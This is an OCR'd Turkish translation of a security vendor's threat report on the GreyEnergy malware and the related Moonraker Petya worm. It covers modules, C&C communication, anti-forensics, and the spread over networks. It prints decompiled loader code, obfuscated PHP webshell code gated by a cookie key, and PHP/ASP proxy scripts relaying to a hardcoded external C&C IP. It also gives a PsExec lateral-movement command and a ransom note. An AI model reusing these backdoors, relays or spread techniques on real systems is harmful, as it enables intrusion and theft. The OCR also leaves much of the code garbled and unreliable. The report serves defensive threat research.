e Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
e Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like
Gecko

Kotu amach yazilim operatorlerinin etkilenen bilgisayarlari belirlemesine yardimci olmak icin, kot amacgh
yazilim asagidaki WQL sorgularinin sonuglarini bir C&C sunucusuna génderir.

° SELECT Caption, Version, CSName, ProductType, CurrentTimeZone, LocalDateTime,
OSLanguage, OSType FROM Win32 OperatingSystem

° SELECT MACAddress, IPAddress, IPSubnet, DHCPEnabled, DHCPServer, DNSDomain
FROM Win32 NetworkAdapterConfiguration WHERE MACAddress IS NOT NULL



14  GreyEnergy: BlackEnergy'nin yeni halefi

C&C sunucusunun yaniti sifrelenmistir, fakat bir kez sifresi ¢cozlldiginde, asagidaki muhtemel degerleri iceren
ayni MIME formatini icermektedir:

Komut Gizlenmis ad Anlam

Tur: Gorinti Tur: A GOmull Base64 kodu ve sikistirilmis ikili icerir
Stirim Al Not used

Secenek A2

Ad A3 Gorunti adi

Tur: Komut Tur: B Modul komut ve parametrelerinin metinlerini icerir
Oturum B1 Kimlige blirinme igin belirtegler ayarlar

Tur: Tasima kapasitesi Tir: C GOmuli Base64 kodu ve sikistiriimis ikili icerir

PID c1

GreyEnergy kétli amacli yazihmi, PE dosyalari igin kendi yikleyicisini kullanarak bellege ek modiiller ve tasima
kapasiteleri yikler.

GreyEnergy modiilleri

Birgok karmasik tehdit gibi, GreyEnergy kotu amagli yaziliminin da moddler bir mimarisi vardir. K6t amagl
yazihmin islevselligi, ek modiiller ile kolayca genisletilebilir. Bir GreyEnergy moduld, ilk siradaki 6zelligi isaret
ederek galistirilan bir DLL dosyasidir. Ana GreyEnergy modilu dahil her modill, gesitli parametrelerdeki metin
komutlarini kabul eder.

Kot amacgh yazilim operatorleri, tim modiilleri hep birlikte ele gegirilmis bir makineye zorlamaz. K6tii amagh
yazilim genellikle mevcut gorevi icin gerekli olan modiilleri indirir ve ¢alistirir.

Simdiye kadar, asagidaki GreyEnergy modiillerinin varligindan haberdariz:

Modiil Adi Amag

remoteprocessexec Bir PE ikilisini uzak bir slirece enjekte eder

bilgi Sistem, olay guinlukleri ve kétl amaglh yazilimin SHA-256 bilgisi hakkinda
veri toplar

dosya Dosya sistemi islemleri

sshot Ekran gorantdaleri alir

keylogger Tus vuruslarini kaydeder

parolalar Cesitli uygulamalar tarafindan kaydedilmis parolalari toplar

mimikatz Mimikatz yazilimi Windows kimlik bilgilerini toplamak icin kullanilir

plink Plink yazilimi SSH tiinelleri olusturmak icin kullanthr

3proxy 3proxy yazilimi proxy'ler olugturmak igin kullanihr

Remoteprocessexec modill, saldirganin zaten var olan siiregleri baglaminda keyfi ikilileri galistirmasina izin
verir. Ornegin, saldirganlar, Windows Explorer'da Mimikatz veya bir port tarayiciyi diske birakmadan
yuritebilirler. Standart giktiyi yénlendirmek, pargalari islemek ve islem sonlandirmak i¢in modiil, bes Windows
APl islevi kullanir.
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PE_image = (void *)PE_load_in_memory(data);

}f ( PE_image )
orig = 0;
hook_function("TerminateThread", hooked_TerminateProcess, &orig);
hook_function("'TerminateProcess"”, hooked_TerminateProcess, &orig);
hook_function("ExitProcess", hooked_ExitProcess, &orig);
hook_function("GetstdHandle", hooked_GetStdHandle, &orig);
hook_function("GetCommandLinew", hooked_GetCommandLinew, &orig);
thread = CreateThread(0, 0, start_PE, PE_image, 0, 0);
waitForsingleobject(thread, dwMilliseconds);
TerminateThread(thread, OXFFFFFFFF);
obj_free((BOOL)&dwMilTiseconds, (LPVOID *)PE_image);

Sekil 14. Windows APl islevleri, remoteprocessexec modill tarafindan baglanir.

Birakilan GreyEnergy DLL her virisli makine igin benzersiz oldugundan, saldirganlar bilgi modullini kullanarak
SHA-256 hash bilgilerini toplayabilirler. Bu hash bilgilerine sahip olmak, saldirganlarin dosyanin VirusTotal gibi
genel web hizmetlerinden birine yiklenip ylklenmedigini izlemesini saglar.

Anti-geri dondiirme ve anti-adli tip teknikleri

GreyEnergy kotu amagli yazihmi, adli ve kétli amagh yazilim analizlerini daha zor hale getirmek icin birkag pif
nokta uygulamaktadir. Bunlardan biri, kot amagh yazilmin dizgileri sifrelemesidir. Tlrevlerinin bazilari
GreyEnergy mini ile ayni algoritmayi kullanmaktadir.

Ancak, GreyEnergy 6rneklerinin gogu biraz farkl bir sifreleme algoritmasi kullanir. Ozellikle, sifrelenmis bir
parcadaki ilk dort bayt, XOR islemlerinin anahtari olarak kullanilmaz. Bunun yerine, bir Mersenne Twister
pseudorandom sayi Ureteci (PRNG) algoritmasinin temelini baslatmak igin kullanilir ve daha sonra olusturulan
dort bayt anahtar olarak kullanilir. Diiz metin dizesini tutan bellek arabellegini bosaltmadan 6nce, k6t amach
yazilim sifirlarla arabellegin tizerine yazar.

LPBYTE __stdcall str_decode_A(LPBYTE encrypted_data)
{

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

str_buffer = 0;

1

2

3

4

5| xor_key = 0;
6

7| 1f ( encrypted_data )
8 {

9

Mersenne_twister_ctx = init_rand_Mersenne_twister(*encrypted_data);

10 xor_key = rand_gen(Mersenne_twister_ctx);

11 mem_free(Mersenne_twister_ctx);

12 string_size = get_ascii_str_length(encrypted_data + 4);
13 str_buffer = LocalATloc{0x40u, string_size + 1);
14 if ( lstr_buffer )

15 return 0;

16 1 = 4;

17 x = 0;

18 ?hi1e ( encrypted_data[i] )

19

20 if ( encrypted_data[i] == *(@xor_key + 1 % 4) )
21 v4 = encrypted_data[i];

22 else

23 vd = *(&xor_key + 1 % 4) A encrypted_data[i];
24 str_buffer[x] = v4;

25 ++7;

26 ++X;

27 }

28

29| return str_buffer;

30/}

Sekil 15. GreyEnergy kotl amacli yaziliminin dize ¢dzme islevinin kaynak koda donustiridlmus kodu


https://en.wikipedia.org/wiki/Mersenne_Twister
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Kotu amach yazilim, bellege yiiklenen her PE'nin ice aktarma tablosundaki DeleteFileA ve DeleteFileW
islevlerini degistirir. Bu sekilde bu islevler, dosyalari giivenli bir sekilde silen bir islevle degistirir. Ozellikle,
diskten silmeden 6nce dosyanin sifirlarla tGzerine yazilir. Boylelikle, her bir yiik veya eklenti, kot amach yazilim
yazari tarafindan her bir modilde uygulanma geregi olmadan béyle bir 6zellik kullanacaktir.

1lint __stdcall load_IMAGE(int al, int a2, LPBYTE packed_data, DWORD packed_data_size)
2{
B [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
5 = 0;
6 = 0;
2 = 0:
8 if ( 'LZNTl_decompess_via_Rt1DecompressBuffer( ' , & , &
9 {
10 = str_decode_W(&aAEa);
11 = init_objl(az, , =1);
12 [5] = 0;
13 [6] = CreateEventw(0, 1, 0, 0);
14 = LocalAlloc(Ox40u, 8u);
15 d = plugin_CALLBACK;
16 [1] = v4; i
17 .reg'lstratﬂon.TryLeVg] = 0;
18 = PE_load_in_memory( , )
19 = str_decode_A(&str_kernel32_d11_encrypted);
20 = str_decode_A(&str_DeleteFileA_encrypted);
21 = str_decode_A(&str_DeleteFilew_encrypted);
22 hook_function( y , , File_secure_wipe_A, 0);
23 hook_function( , , , File_secure_wipe_w, 0);
24 if
26 = get_ascii_str_length( 3
28 mems;t( 2, 0, );
29 += ;
30 = 0;
31 kernel132_SECURE_LocalFree( )
Sekil 16. DeleteFileA ve DeleteFileW islevlerini etkileyen rutinin kaynaga dénustirilmus kodu

Saldirganlar, Nmap port-tarayicisini kurbanlarinin i¢ aglarini haritalamak icin ana araci olarak kullaniyorlar.
Ancak, Nmap kullanamadiklari durumlarda hafif, 6zel yapim bir tarayici kullandiklarini gordiik.

EB® Command Prompt — O X

C:\>port.exe -i 127.0.0.1 "-p 445 -c 4 -s 32 -sa 256"
07:46:44:694

445: 1

445: 2

97:46:44:850

C:\>

Sekil 17. GreyEnergy tarafindan kullanilan 6zel baglanti noktasi tarayicisinin konsol ¢ikisi

Saldirganlar, ve gibi yasal araclari, glivenligi ihlal edilmis bir agda yatay bir hareket
gerceklestirmek icin aktif olarak kullanirlar. WinExe araci, PsExec'e agik bir kaynak esdegeridir; ancak bir Linux
bilgisayarindan, érnegin glivenilen bir Linux web sunucusundan kontrol edilebilir.

Bu araglara ek olarak, saldirganlarin PowerShell scriptlerini kullandiklarini da belirtmek gerekir.

WEB SUNUCUSU ARKA KAPILARI

Daha once de belirtildigi gibi, saldirganlar bu sunuculara internet {izerinden erisilebiliyorsa, web sunucularina
ek arka kapilar yerlestirebilirler. GreyEnergy grubunun bu amaglarla PHP'de yazilmig arka planlari kullanma
egiliminde oldugunu gozlemledik. Ozellikle, WSO webshell ve c99shell adli halka acik PHP web kabuklarini
kullanirlar.

))


https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
https://sourceforge.net/p/winexe/wiki/Home/
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Saldirganlar zaten var olan bir PHP scriptini bir web sunucusunda degistirebilir veya yeni bir sunucu kurabilirler.
Arka kapinin gercek PHP kodu, genellikle gesitli gizleme ve sifreleme katmanlari altinda gizlenir.

<?php $TEmlK6e24 = "8p_(g2c)79rqf*od.ma/y3wvibnjsidhktbe;ulz6ex" ;$LbZdSsm4765 = $TEml
K6e24[1].$TEmlKee24[16].$TEmIK6©24[35] .$TEm1K6624[4] . $TEm1K66©24[2].$TEm1K6e24[10] .$TE
mlK6624[35].$TEm1K6©24[1].$TEM1IKE024[38].$TEM1KE©24[18].$TEm1K6e24[6].$TEM1KE6©24[35];
$sdR8075 = "\x65".chr(118)."a".chr(108)."\x28\x40".chr(1e3)."\x7A".chr(185)."nf".chr(

1688)."at".chr(1e1)."\x28".chr(98)."".chr(97)."s\x656" .chr(52)."_".chr(160)."".chr(161
). "\x630d\x65\x28" ; $gH5876 = "\x29\x29\x29".chr(59)."";$rukmYZ2026 =

$sdR8075." ' fb3XzuxAlgX3KqNGAVO1NoY2aVQqSfTeewpSgybpvSch/e7K0625mIuZq40TGaCcIviWotofegIs
vyr/9LeYz53kzjv37vZtu3v/7ThmnRpAeejxwM+US/+9u//beR/+W/++avfon29V/+Mgfbdv3jn//5b//21y3
t93/85wd/ /0v/Hf/xG/D7528G/u3vfensYUh/I//+1/Eff77+P2AI+j/]/

Sekil 18. GreyEnergy grubu tarafindan kullanilan PHP arka kapisinin gizlenmis kodu

Son kod katmani, bir akis sifresi kullanilarak korunmaktadir. Bu sifrenin bir anahtar olusturma akisi, saldirganin
bir HTTP istegi ile saglanan bir cerez degerinden gelen bir dizgeye dayanmaktadir. Her bir PHP arka kapisi, ayri
bir anahtarla sifrelenir.

<?php (!function_exists("s4LXoMVTU2uB8")) {
function s4LXoMVTU2uB8($str, $passw = '"') {
$salt - $passw;
$len = strlen($str);
$gamma 1Hg
$n = $len > 160 ? 8 : 2;
(strlen($gamma) < $len) {
$gamma. = substr(pack('H*', shal($passw . $gamma . $salt)), @, $n);

$str © $gamma;

¥

(isset($_COOKIE[ 'QXL_8SIpfcYT'])) {
(shal($_COOKIE[ 'QXL_eSIpfcYT']) "e21bb8897941275099a820635d893ed8d7235¢06") {
eval (@gzinflate(s4LXoMVTU2uB8(base64_decode("/BVrCMWRczIhIrESLHD6F XSdPRFFOBNQGCK|

Sekil 19. PHP arka kapi kodunu gerez degerini kullanarak ¢6zen son katman

Bu gizleme teknigi, analizleri dnlemek ve diger siber suglularin ayni PHP arka kapisini kullanmasini 6nlemek igin
kullanilir.

PROXY C&C (TRIUNGULIN OLARAK DA BiLINMEKTEDIR)

Daha once de belirtildigi gibi, saldirganlar proxy C gibi bir dahili sunucu kullanabilirler.

Saldirganlarin proxy C&C sunucu zincirleri olusturduklarini kesfetmemiz 6nemlidir; ilk sunucu ag trafigini bir
sonraki proxy C&C'ye yonlendirir ve bu islem devam eder; ta ki internet lizerinde gidecegi son yere ulasincaya
kadar.

Saldirganlar dabhili bir sunucuyu bir proxy C&C sunucusuna donistirmek icin farkl yontemler kullanirlar. Bunun
icin saldirganlar GreyEnergy zararl yazihminin kendisini kullanabilecekleri gibi, ek bir t¢lincl parti yaziimi veya
bir script de kullanabilirler. ilk durumda, saldirganlar GreyEnergy zararli yazilimiyla bir Windows sunucuyu ele
gecirip 3 proxy ve plink modiillerini kullanarak onu bir proxy C&C sunucusu haline getirebilirler. GreyEnergy
faaliyetini izlerken, asagidaki megru Uglincl parti dahili Linux sunucularinin dagitildigini gézlemledik;

e 3proxy tiny proxy server

e Dante SOCKS server

e PUTTY Link (Plink)

Uclincii taraf yazilmlar yerine, saldirganlar kendi scriptleriyle dahili web sunucularini kullanabilirler.

Saldirganlar PHP ve ASP programlama dillerini kullanirlar.

Gozlemledigimiz tiim durumlarda dagitilan PHP scriptleri gizlenerek sifrelenmisti ve web sunucusu arka
kapilarinda da ayni tiirde bir gizleme kullaniimisti. Ancak, bu durumda bir sifre c6zme anahtari iceren gerez,
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GreyEnergy zararl yaziliminin kendisi tarafindan saglanir. Bu nedenle, zararli yazilim operatorleri sunucu URL
adresi icin 6zel bir yapilandirma formati kullanirlar.

_NextPart_©0@ 0012 91D25462.C8E53B40
Content-Type: text/plain;
charset="1is0-8859-1"
Content-Transfer-Encoding: 7bit

ServerUrls

/triungulin/g3/var/database.php#xLFaiA4UQDnhC9=_3}R/ ! nt$xfwKFErIVXzQokT
_NextPart_ 060 0012 01D25462.C8E53B40--

Sekil 20. PHP arka kapi kodunu gerez degerini kullanarak ¢6zen son katman

ilging bir sekilde, kétii amach yazilim yapilandirmasi, gizlenmis proxy PHP scriptinin yolunda triungulin
sOzcugunu igerir. Gorunuge gore bu, zararli yazilim operatorleri tarafindan kullanilan proxy C&C tekniginin
dahili adidir.

Zararli yazihmin yapilandirmasinda dahili bir proxy C&C sunucusu obulunuyorsa, harici bir C&C sunucusuna
sahip degil demektir. Harici bir C&C adresi bulmak igin, bir zararli yazilim 6érnegi ve tim iliskili PHP scriptlerine
sahip olmak gerekmektedir.

Asagidaki PHP scriptlerinin kullanildigini gordiik:

e Ozel bir PHP proxy komut dosyasi
e Antichat Socks5 Server'in biraz degistirilmis bir sGrimu

Ozel bir PHP proxy scripti, basliginda harici C&C'ye sahip bir URL igerir

1  $neE=opendir(dirname(__FILE_));$efe=time(); (false!|==($yf=readdir($neE))){$efo-filemtime($yf) <$efe
filemtime($yf):$efo; }otouch(basename($_SERVER[ 'PHP_SELF']),$efe,$efe);@ini_set('error_log',NULL);
ini_set('log_errors',8);@ini_set('max_execution_time',8);ini_set('display_errors', ©);ini_set('
display_startup_errors', @);$m9 - 'http://178.255.40.194/de-de/nachrichten';$vb = '

https://178.255.408.194/de-de/nachrichten’ ;ini_set("allow_url_fopen", true);
2 ini_set("allow_url_include", true);

ini_set("max_execution_time", €8);

Sekil 21. Ozel PHP proxy scriptine gémilmis harici C&C

Harici PHP proxy scripti, OpenSSL ve Curl kitapliklari kullanarak sorgulari zararli yaziimdan internet tGzerindeki
C&C sunucusuna aktarir.


https://en.wiktionary.org/wiki/triungulin
https://github.com/tennc/webshell/blob/master/xakep-shells/PHP/Antichat%20Socks5%20Server.php.php.txt
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($_SERVER[ 'REQUEST_METHOD' ] 'POST') {
$k3vz 1U0

(extension_loaded('openssl')) {
$jv = $vb;

¥ {
$jv = $m9;

¥

$rF0 = apache_request_headers();
preg_match('/boundary="(.*)"$/", $_SERVER['CONTENT_TYPE'], $yr2A);
$bX = $yr2A[1];
($6X) {
$h25 = "This is a multi-part message in MIME format.\r\n\r\n--$bX\r\nCon
plain;charset=\"iso-8859-1\"\r\nContent-Transfer-Encoding: 7bit\
foreach ($_POST AS gnNL => $s1ihm) {
$h25 .= '--" . $bX . "\r\nContent-Type: text/plain; tcharset=\"is0-8859-1\")\
Content-Transfer-Encoding : binary\r\nContent-Disposition: form-data;\r\n\tname=\"$nNI1\"
\r\n\r\n" . $slhm . "\r\n";

}
$h25 .- '--' | . ==t
{
exit('Don\'t get boundary!"');

(ini_get('allow_url_fopen')) {
$p7W = headers_form($rFO, 'content®,$h25);
$k3vZ = file_get_contents(

$iv,

false,

stream_context_create(

array(
"ssl"=>array(

" 5 "_sfal

“allow_self_signed"=>true
)J
'http' => array(
"method' => 'POST',
"header' => $p7W,
"content' => $h25,
"ignore_errors'=>true

Sekil 22. GreyEnergy tarafindan kullanilan 6zel bir PHP proxy komut dosyasinin kodu

Daha once de belirtildigi gibi, saldirganlar ASP komut dosyalarini ayni amagla kullanabilirler. Gordigiimiiz bir
durumda, bir ASP scripti sadece gergek bir C&C'nin sifresini AES kullanarak ¢ozmek i¢in kot amagli yazilm
tarafindan saglanan bir ¢cerez kullaniyordu; kodun geri kalani sifreli ya da gizlenmis degildi.
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Page Language-"C#" AutoEventWireup-"true"

Import Namespace-"System.Net"
Namespace-"System.IO"
Namespace-"System.Collections.Specialized"

rt Namespace-"System.Net.Security"
Namespace-"System.Security.Cryptography"

redirect - "/Pumps/Home/Programs";

(Re HttpMethod "POST")

String name = "JIDHUrvPdEN1FLf";
HttpCookie hc - Reguest.Cookies.Get(name);
(he != null)
{
St hkey = hc.value;
key 111)
{
tring url "JFOtGmXb660/8edVvBPrxsX/rZ9ZE8xIMBex/ fpYIrtxQ6xhB1VVcoVgQaMiDHXZkSNrBnuqOED@I83Q1IGKeg7MdZF211UPDpcOAWZzmWso=";

int KeySize 3
int BlockSize
int Iterations

string requestURL i

var Blob = Convert.FromBas ing(url);

using (var Bytes Rfc2898DeriveBytes(hkey, Blob.Take(KeySize).ToArray(), Iterations))

using (var Rijndael RijndaelManaged())

dael .BlockSize - BlockSize g
el.IV = Blob.Skip(KeySize).Take(BlockSize).ToArray();

.KeySize - KeySize
.Key = Bytes.GetBy

Sekil 23. GreyEnergy tarafindan kullanilan ASP proxy kodu

INTERNETE CIKAN C&C SUNUCULARI

GreyEnergy zararl yazilimi tarafindan kullanilan tim C&C sunuculari, etkin olduklarinda Tor yazilimi ile
calismaktaydi. C&C altyapi kurulumu BlackEnergy, TeleBots ve Industroyer ile olduk¢a benzerdi; timi
sunuculari Tor ile kullanmaktaydi.

Her bir C&C sunucusunun saldirganlari erismek, kontrol etmek ve veri transferi yapmak tizere kullandigi belirli
bir adresi olmasi kuvvetle muhtemeldir. Goériiniise gore bu, saldirganlar icin ek bir anonim seviye getiren bir
OPSEC gerekliligidir.

ESET arastirmacilari, gectigimiz Gcg yil icerisinde GreyEnergy zararli yazihmi tarafindan kullanilan C&C
sunucularini tespit etmistir. Liste, bu makalenin loC'ler béliiminde bulunmaktadir.

GREYENERGY VE BLACKENERGY KARSILASTIRMASI

GreyEnergy ve BlackEnergy zararl yazilm aileleri benzer bir tasarima ve benzer bir dizi modiil ve 6zelliklere
sahiptir. Bu 6zelliklerin uygulanmasi farkli olsa da, hala karsilastirilabilirdirler.

BlackEnergy zararli yazilmi  GreyEnergy zararli yazilimi

Moddler Evet Evet

Sureklilik Sirici Servis DLL kayit defteri
anahtar

GOmill yapilandirma formati XML MIME multipart

GOm{ll yapilandirma, dahili proxy'ler icerir ~ Evet Evet

Harici yapilandirma sifrelemesi Degistirilmis RC4 DPAPI

Kullanilan sikistirma aPlib LZNT1
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Mini strama sarekliligi .LNK dosyasi .LNK dosyasi

Mini sirimi konfigirasyon formati X.509 JSON

Tor ile galisan C&C sunuculari Evet Evet

En ¢ok hedeflenen llkeler Ukrayna, Polonya Ukrayna, Polonya

MOONRAKER PETYA

Aralik 2016'da saldirganlar, NotPetya'nin (Petya, ExPetr, Nyetya, EternalPetya olarak da bilinen) 6ncili
olduguna inandigimiz bir solucan dagittilar. Bu solucan az sayidaki hedeflere dagitilmisti ve sinirl yayilma
kabiliyetlerine sahipti; bu ylzden givenlik arastirmacilari arasinda pek de bilinmemektedir.

Solucan, Windows dizinindeki msvert120b.d11 adi altinda dagitilan bir DLL dosyasidir. DLL'in dahili adi olan
moonraker.dll,, muhtemelen ayniisimdeki James Bond filmine ve romanina atifta bulundugundan, biz de
bu solucana Moonraker Petya adini verdik.

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

100287E0 ;

100287E0 ; Export directory for moonraker.dl]

100287E0 ;

100287E0 dd 0 ; Characteristics

100287E4 dd 584F7807h ; TimeDateStamp: Tue Dec 13 04:24:39 2016
100287E8 dw 0 ; Majorversion

100287EA dw 0 ; Minorversion

100287EC dd rva amoonrakerD11 ; Name

100287F0 dd 1 ; Base

100287F4 dd 1 ; NumberofFunctions

100287F8 dd 0 ; NumberOofNames

100287FC dd rva off_10028808 ; AddressOfFunctions

10028800 dd 0 ; AddressOfNames

10028804 dd 0 ; AddressOfNameordinals
10028808 ;

10028808 ; Export Address Table for moonraker.dl1

10028808 ;

10028808 off_10028808 dd rva moonraker_1 ; DATA XREF: .rdata:100287FCto
1002880C aMoonrakerD11 db 'moonraker.dl11',0 : DATA XREF: .rdata:100287ECto

Sekil 24. Aralik 2016'da dagitilan solucanin dahili bir adi.

DLL'nin PE Zaman Damgasi, muhtemelen dagitimdan hemen 6nce, Aralik 2016'da derlenmis oldugunu isaret

ediyor.

Moonraker Petya, bilgisayari agilamaz hale getiren bir kod icerir. Ozel olarak belirtmek gerekirse, ImagePath
kayit degerini [HKEY_LOCAL MACHINE\System\ControlSet001\Services\ACPI] ve

[HKEY LOCAL MACHINE\System\ControlSet002\Services\ACPI] kayit anahtarlari lizerine yeniden
yazarak sistem siriiclstnun ilk sektérind siliyor. Ancak, NotPetya'dan farkl olarak Moonraker Petya MBR ve
bootloader ile dogrudan iletisime gececek bir kod icermiyor. Bunun yerine Moonraker Petya DLL, sifrelenmis
bir ikili sistem pargasi igeriyor. Zararl yazilim, daha sonra sifre ¢6zme anahtari olarak kullanilacak bir komut
satiri arglimani talep ediyor. Zlib kitapligi kullanilarak sifre ve sikistirma ¢ozuldigiinde, bu kod PE ikilisi olarak
bellege yiiklenir ve galistirilir. Sifre ¢ozme anahtarina sahip degiliz, fakat etkilenen bilgisayarlarin disk imajlarini
analiz ettik. MBR ve bootloader kodu igeren bu imajlar, gesitli siber sug gruplari tarafindan kullanilan orijinal
Green Petya'daki kod ile birebir eslesiyor. Bu da bizi bu parganin orijinal Green Petya zararli yazilimini igeridigini

dislinmeye itiyor.


https://en.wikipedia.org/wiki/Moonraker_(film)
https://en.wikipedia.org/wiki/Moonraker_(novel)
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Sekil 25. Moonraker ve Petya bulasmis bilgisayarlarin agildiktan sonra gelen ekrani.

ilging bir sekilde, Moonraker Petya tarafindan kullanilan sifre ¢ézme rutinleri, yalnizca i bellekteki DLL
dosyalari lizerinde GreyEnergy tarafindan kullanilan rutinle oldukc¢a benzer.
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sudocodeA

DWORD __usercall crypt_import_key_and_decrypt@<eax>(char *commandline_key@iceax>, BYTE *encrypted_data, DWORD encrypted_data_si
{

=0
=0;
+2;
do
{
=2
}
while ( v7 )
if ( ¢ (s, (( )>» 1) +2, 1u, 0, & , 0, 0))
4
if ( )
cesseap();
- Hea (v9, 8u, v8)
if ( )
{
if ( 1cryptstr W(vs, weslen(vs) + 2, 1u, , & , 8,0 |1 )

goto LABEL_22;
-0

= CryptAcqu ntexth(
& s
o,
L"Microsoft Enhanced RSA and AES Cryptographic Provider™,
@x18u,
OxF0000000) ;
if ( )
goto LABEL_14;
= GetlastError();
if ( == -2146893802 )
{

}

else

osoft Enhanced RSA an

if ( 1« -2146893799 )
goto LABEL_22;
= CryptAcqu , 9x18u, OxFO0O000);

Key( 8, 0, Bohkey) )
ram( » KP_MOOE, , 9))
sram( , KP_PADDING, v19, 8) )
()3
! 12, 8u, )
i (Vi3 )
(
memcpy_0(v13, » H
if ( CryptDecrypt(phkey, 0, 1, 0, V14, & )
(
i
else
essheap();
(vi5, O, )
)
)
)
)
ypt Key( )
)
)
LABEL_22:
Processheap();
HeapFree(v17, 0, v16);
return
)
)
return

d AES Cryptographic Pre

ovider”, @x18u, 8u);

,0,0))

. 0, 8, 0x18u, OxFOE0000Q);

. 9))

» 9))

-0;
= 0;
(a1 + 1);
do
{
while ( vi )
if ( Cryr (6, ( ) » 1, 1, 0, &
{
if ( )
{
L Heap();
feapAlloc(vio, 8u, v9)
if ( )
if ( ICryptString i(v6, weslen(vh), 1u,
goto LABEL_22;
- 9;
ryptAcquireContexti(
&
e,
L"Microsoft Enhanced RSA and AES Cryptograph
ox18u,
€xFe000000) ;
i (v5)
goto LABEL_14;
= GetlastError();
if ( == -2146893802 )
{
(& 9, L"Mi
else
{
if ( 1= -2146893799 )
goto LABEL_22;
= CryptAcquireContexti(&
}
if (vi2)
LABEL_14:
=e;
-0;
if ( Cry portKey (
{
. wigs
if ( tSetKe: ( ., KP_MOOE,
1
"1 . 1;
if ( Crypt ( , KP_PADDING,
{
S p();
- 8u, )5
if (7 )
mem_copy ( )
if ( CryptDeceypt(phkey, 0, 1, @,
{
-1;
i
else
{
tProcessheap();
L (v17, 0, )
}
}
}
}
pt Key( )
}
}
LABEL_22:
essheap();
(v19, 9, )
return
}
}
A return

}

Sekil 26. Moonraker Petya(solda) ve GreyEnergy (sagda) arasinda derlenmis kodlarin karsilastiriimasi

Moonraker Petya, Sysinternals PsExec kullanarak yerel ag lizerinde yayllma 6zelligine sahip. Zararli yazilim,
kaynaklarinda zlib ile sikistirilmis ikili bir PxExec iceriyor. Daha sonra bu ikili, Windows dizinine conhost.exe

dosya adiyla birakiliyor.

Kot amacgh yazilim, NotPetya'ya benzer bir sekilde kendini yayiyor: ¢esitli yontemleri kullanarak ag ana

bilgisayarlarini ( WNetEnumResourceW, GetIpNetTable, GetExtendedTcpTable, NetServerEnum,
TERMSRYV kayitlari kullanarak CredEnumerateW) numaralandiriyor, sonra WNe tAddConnection2W islevini

kullanarak bir ag ana bilgisayarina baglaniyor ve kétl amagli yazilim olarak kaydediyor. \ \ $TARGET -
HOST%\admin$ \$MALWARES . Sonrasinda, Moonraker Petya asagidaki komutu caliltiriyor ve birakilan PxExec
araciligiyla zararh yazihm uzaktaki bilgisayarda calistiriliyor:

C:\Windows\conhost.exe \\%TARGET-HOST% -accepteula -s -d

C:\Windows\System32\rundl1l32.exe "C:\Windows\msvcrtl20b.d1ll", #1 3$TIMEOUTS
"$DECRYPTIONKEYS"

"USER1:PASSWORD1 ; USER2 : PASSWORD2"

Kotu amach yazilimin, Mimikatz kullanarak kimlik bilgisi toplama islevselligi icermedigini ve EternalBlue

istismarini igermedigini de unutmamak gerekir.

Daha once s6zi edilen tim fonksiyonlara ek olarak, Moonraker Petya dosya sifrelemeye de sahiptir. Kotu

amagli yazilim, tlim sabit struciilerdeki tim dosyalari siralandirabilir. Sonrasinda, bunlari AES-256 sifreleme

algoritmasini kullanarak sifrelemeye galisir. Dosya sifreleme siireci tamamlandiktan sonra, zararli yazihm
o0deme yonlendirmelerini igeren bir README . txt dosyasi olusturur.

» 0,0 |1

“, 0x18u, 8u);
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Odeme ydnlendirme dosyasi, RSA-2048 ile sifrelenmis kisisel bir anahtar barindirmaktadir. Ek olarak, Green
Petya ile ayni metin ve belirtilmis bir adres icermektedir. Saldirganlarin bu zararli yazilimi Green Petya saldirisi
ardina gizlemeye calistiklar1 gorillyor.

README.txt - Notepad — O X
File Edit Format View Help

The files on your computer have been encrypted with an military grade encryption algorithm.
There is no way to restore your data without a special tool.

You can purchase this tool on the darknet page shown in step 2.

To purchase tool and restore your data, please follow these three easy steps:

1. Download the Tor Browser at "https://www.torproject.org”.
If you need help, please google for "access onion page".
2. Visit one of the following pages with the Tor Browser:

http://petya3jxfp2f7g3i.onion
http://petya3sen7dyko2n.onion
3. Enter you personal decryption code:

AQIAABBmMAAAAPAAAB81hVIweplCWn7tgpESV2vBdPwymjQ9zYZxsQtgFqj5ZctAuCMITQyVhsk09521bKTupgG2d/8eFyIuhelscq
+3BRApUSTXxfUa7+LDZuM3uPOUGkyV@DheMq7rPbNiBTFIChPQdcGX4RUFChvEQFjcRIzmtWorWnYJ1CI4Tkc8POsDr61DPGaiDNy
JWZ/4KnsTsG1l/28HDOzZWABNCG8ZkGw2/C/W7IkehmmZoX2Hh4Skgz3k14pRzMUZWtFPI6EqjII0buLxsgyR
+b3DX4BriSeXwazR6p7Cd11s@FuBRTXNQNSF+FT4KReVPQbYqODe9RTEGYYz981U3F5Cn91ldg==

If you already purchased tool, run it.

Sekil 27. Moonraker Petya zararli yazilimi tarafindan olusturulan 6deme yénlendirmelerini iceren Readme dosyasi

Son adim olarak, Moonraker Petya bilgisayari yeniden baslatmaya calisir.

SONUC

GreyEnergy, son birkag yildir Ukrayna'yi terdrize eden en tehlikeli APT gruplarindan birinin cephaneligindeki
onemli bir pargadir. Bunu BlackEnergy aracinin bir halefi olarak degerlendiriyoruz ve bu makalede ikisi
arasindaki benzerliklere ve farkliliklara degindik. Bu sonuca varilmasinin temel nedenleri; benzer kotii amagli
yazilim tasarimi, hedeflenen kurbanlarin 6zel olarak segilmesi ve yontemin islenis tarzidir. BlackEnergy'den
GreyEnergy'e gecis 2015 sonunda meydana gelmistir; belki de saldirganlarin BlackEnergy yapisi ayni yil
icerisinde Ukrayna enerji sektoriine yonelik saldirida kullanildigi icin dikkatleri Gizerine ¢ektiginden zararh
yazilim araclarini glincellemeleri gerekiyordu.

Bulmacanin ilging bir parcasi da, Haziran 2016'da ortaya ¢ikan yikici solucan NotPetya'nin dncili oldugunu
diisindiugiimiz Moonraker Petya'nin grup tarafindan kullanildigini tespit etmemizle ortaya ¢ikti. Bu, TeleBots
ve GreyEnergy alt gruplarinin is birligi yaptiklarini ya da en azindan bazi fikirleri ve kodlari paylastiklarini
